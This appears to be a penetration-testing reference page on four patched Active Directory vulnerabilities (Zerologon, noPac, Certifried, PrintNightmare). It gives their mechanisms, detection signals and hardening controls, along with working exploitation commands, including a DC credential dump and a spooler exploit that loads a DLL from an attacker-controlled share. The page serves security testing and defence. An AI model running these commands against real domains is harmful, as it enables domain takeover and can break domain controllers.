Most of the Attack-Path map is a patient chain of small escalations. A handful of vulnerabilities skip the chain entirely — from network access or a plain domain user, straight to Domain Admin or SYSTEM. They are worth studying together because they share a lesson: each abuses a place where Active Directory trusted an identity it should have verified. All four are patched in current builds, so this is a "know it when you see an unpatched estate" page, not a green light.
A quick word on responsibility: several of these (Zerologon especially) can damage a domain if run carelessly. Only ever use them against systems you are explicitly authorised to test, and follow the restore steps where they exist. See the disclaimer.
Zerologon — CVE-2020-1472
Zerologon is a cryptographic flaw in the Netlogon secure channel — the protocol a domain-joined machine uses to authenticate to a DC. The session key was derived using AES in CFB8 mode with a fixed, all-zero initialisation vector. With a zero IV, roughly one in 256 randomly chosen keys produces an all-zero ciphertext, so an attacker who simply retries the authentication handshake with a zero client-challenge will, after a few hundred attempts, be accepted without knowing the machine's password.
Once the channel is established, the same weakness lets the attacker call
NetrServerPasswordSet2 to set the target computer account's password to
empty in Active Directory. Point that at a domain controller's own machine
account and you can then authenticate as the DC and DCSync
the entire domain:
nxc smb <dc_ip> -M zerologon # test
# exploit sets DC$ password to empty, then:
secretsdump.py -no-pass <domain>/'<DC_NETBIOS>$'@<dc_ip> -just-dc-user Administrator
The catch — and the danger — is that you have now desynchronised the DC's password between
AD and its local LSASS/registry, which can break the domain. Responsible use
restores the original password afterward (the exploit records the original hash for
exactly this). This is the most destructive item on the page; treat it accordingly.
| Fact | Detail |
|---|---|
| Precondition | Network access to an unpatched DC (pre-Aug-2020) |
| Result | DC machine-account takeover → DCSync → Domain Admin |
| Detection | Netlogon events with zeroed challenges; a DC machine-account password change over Netlogon (4742) is a red flag |
noPac / sAMAccountName spoofing — CVE-2021-42278 & CVE-2021-42287
"noPac" chains two bugs in how Kerberos resolves account names. Normally computer accounts
end in a $ (DC01$). CVE-2021-42278 was a validation gap:
the directory did not enforce that a machine account's sAMAccountName end in
$. CVE-2021-42287 was a lookup gap: when a service ticket is requested
for a principal the KDC cannot find, it retries by appending $ — so if you name
your machine after a DC (without the dollar), the KDC can end up mapping your ticket to the
real DC account.
The chain, using nothing but a normal domain user:
- Create a computer account (the default
MachineAccountQuotaof 10 allows it). - Rename its
sAMAccountNameto a DC's name without the trailing$(e.g.DC01). - Request a TGT for that name, then drop/restore the name so the KDC can no longer find it.
- Request a service ticket (S4U2self) — the KDC falls back and issues a ticket as
DC01$, i.e. as the domain controller, with a privileged PAC.
noPac.py <domain>/<user>:'<pass>' -dc-ip <dc_ip> --impersonate administrator -dump
# goldenPac.py automates the classic MS14-068-style variant end-to-end
| Fact | Detail |
|---|---|
| Precondition | A domain user + MachineAccountQuota > 0 against an unpatched DC |
| Result | A ticket as a domain controller → Domain Admin |
| Detection | A machine account renamed to a DC name; 4741/4742 (computer created/changed) then TGS anomalies (4769) with mismatched names |
Certifried — CVE-2022-26923
Certifried is the AD CS cousin of the above. When a
computer enrolls for a certificate (e.g. the default Machine template), the
certificate's identity is tied to the account's dNSHostName. Before the patch,
a user who could create or control a machine account could set that machine's
dNSHostName to match a domain controller's. Enrolling then yielded a
certificate that authenticates as the DC, and PKINIT with it (see
Shadow Credentials / PKINIT) produces
a DC ticket:
certipy account create -u <user>@<domain> -p '<pass>' -user 'certipc' -dns '<dc_fqdn>'
certipy req -u 'certipc$'@<domain> -p '<pass>' -ca <ca_name> -template Machine
certipy auth -pfx certipc.pfx -dc-ip <dc_ip> # authenticate as the DC
It is the same underlying sin as noPac — a spoofable identity attribute (here
dNSHostName instead of sAMAccountName) — expressed through
certificates. The fix adds the account's SID as a hardened extension so the impersonation no
longer maps.
| Fact | Detail |
|---|---|
| Precondition | MachineAccountQuota > 0 and an AD CS with a client-auth machine template (pre-patch) |
| Result | A certificate/ticket as a DC → Domain Admin |
| Detection | A computer whose dNSHostName collides with a DC; certificate issuance to a freshly created machine |
PrintNightmare — CVE-2021-1675 / CVE-2021-34527
PrintNightmare is a flaw in the Windows Print Spooler. The
RpcAddPrinterDriver family of calls lets a client install a printer driver — and
the spooler loads the driver DLL as SYSTEM. The bug let an authenticated,
low-privileged user point that installation at an attacker-supplied DLL (locally, or from a
remote SMB share), giving SYSTEM code execution. Because the Spooler service
runs on domain controllers by default, a remote variant meant SYSTEM on a DC:
CVE-2021-1675.py <domain>/<user>:'<pass>'@<target> '\\<attacker>\share\evil.dll'
It doubles as a local privilege escalation (any user → SYSTEM) and a lateral-movement / DC-compromise primitive. The related "point and print" registry weaknesses kept the surface alive well past the first patches, so it is a recurring find on estates that only applied part of the mitigation.
| Fact | Detail |
|---|---|
| Precondition | Spooler service running (often on DCs) + a driver path (local or remote) |
| Result | SYSTEM locally, or SYSTEM on a remote spooler (incl. DCs) |
| Detection | Spooler loading a DLL from a user-writable or remote path; new printer drivers; 4688 under spoolsv.exe |
Honourable mentions
Two more "fast paths" you will meet on the map: MS14-068 forged a Kerberos PAC to claim privileged group membership on very old, unpatched DCs (goldenPac); and PetitPotam + ESC8 coerces a DC to authenticate and relays it to AD CS web enrollment for a DC certificate — not a single CVE but a devastating chain covered under Coercion & Relay and AD CS.
Cross-cutting detection & defence
| Control | Effect |
|---|---|
| Patch — and verify the full fix (Netlogon enforcement, Point-and-Print, AD CS SID extension KB5014754) | Each of these had partial or bypassable initial patches; currency is necessary but check the hardening too |
Set ms-DS-MachineAccountQuota to 0 | Removes the "create a computer" precondition behind noPac and Certifried |
| Disable the Print Spooler on domain controllers and servers that do not print | Closes PrintNightmare and the PrinterBug coercion vector |
| Enforce Netlogon secure-channel signing/sealing | Directly mitigates Zerologon |
Monitor machine-account creation/rename and dNSHostName collisions with DCs | High-fidelity signal for noPac and Certifried |
Rotate krbtgt and reset the DC machine password after any suspected DC compromise | Invalidates tickets/positions gained through these paths |
The takeaway
These four collapse the attack path because they each let a weak identity stand in for a
strong one — a zero IV impersonating a machine (Zerologon), a name without a dollar sign
impersonating a DC (noPac), a spoofed DNS name impersonating a DC in a certificate
(Certifried), or a low-privileged driver install acting as SYSTEM (PrintNightmare). They are
patched, but unpatched pockets persist, so recognising the preconditions — an old DC,
MachineAccountQuota > 0, a spooler on a DC, an AD CS with default templates —
is the practical skill. Zerologon in particular can break a domain: authorised testing and
restore steps only. The exploitation commands live under the relevant entries in
Vulns & Misconfigs, and every one of these feeds back into
DCSync and ticket
attacks for durable control.